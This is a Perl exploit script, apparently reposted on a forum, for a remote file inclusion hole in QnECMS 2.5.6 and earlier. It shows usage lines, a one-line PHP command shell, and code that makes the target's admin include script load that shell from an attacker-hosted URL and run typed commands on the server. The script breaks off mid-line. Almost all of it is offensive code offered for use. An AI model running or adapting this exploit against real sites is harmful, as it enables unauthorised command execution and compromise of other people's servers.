QnECMS <= 2.5.6 (adminfolderpath) Remote File Inclusion Exploit
[code]#!/usr/bin/perl
##
# QnECMS <= 2.5.6 (adminfolderpath) Remote File Inclusion Exploit
# Bug Found & code By K-159
##
# echo.or.id (c) 2006
#
##
# usage:
# perl QnECMs.pl <target> <cmd shell location> <cmd shell variable>
#
# perl QnECMs.pl [url]http://target.com/[/url] [url]http://site.com/cmd.txt[/url] cmd
#
# cmd shell example: <?passthru($_GET[cmd]);?>
#
# cmd shell variable: ($_GET[cmd]);
##
# #
#Greetz: My Dearest Wife - ping, echo|staff (y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative), SinChan, sakitjiwa, maSter-oP, mr_ny3m, bithedz, lieur-euy, x16, mbahngarso, etc
#
# Contact: [url]www.echo.or.id[/url] #e-c-h-o @irc.dal.net
##
use LWP::UserAgent;
$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];
if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}
head();
while()
{
print "[shell] \$";
while(<STDIN>)
{
$cmd=$_;
chomp($cmd);
$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'admin/include/headerscripts.php?adminfolderpath='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";
$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[
页:
[1]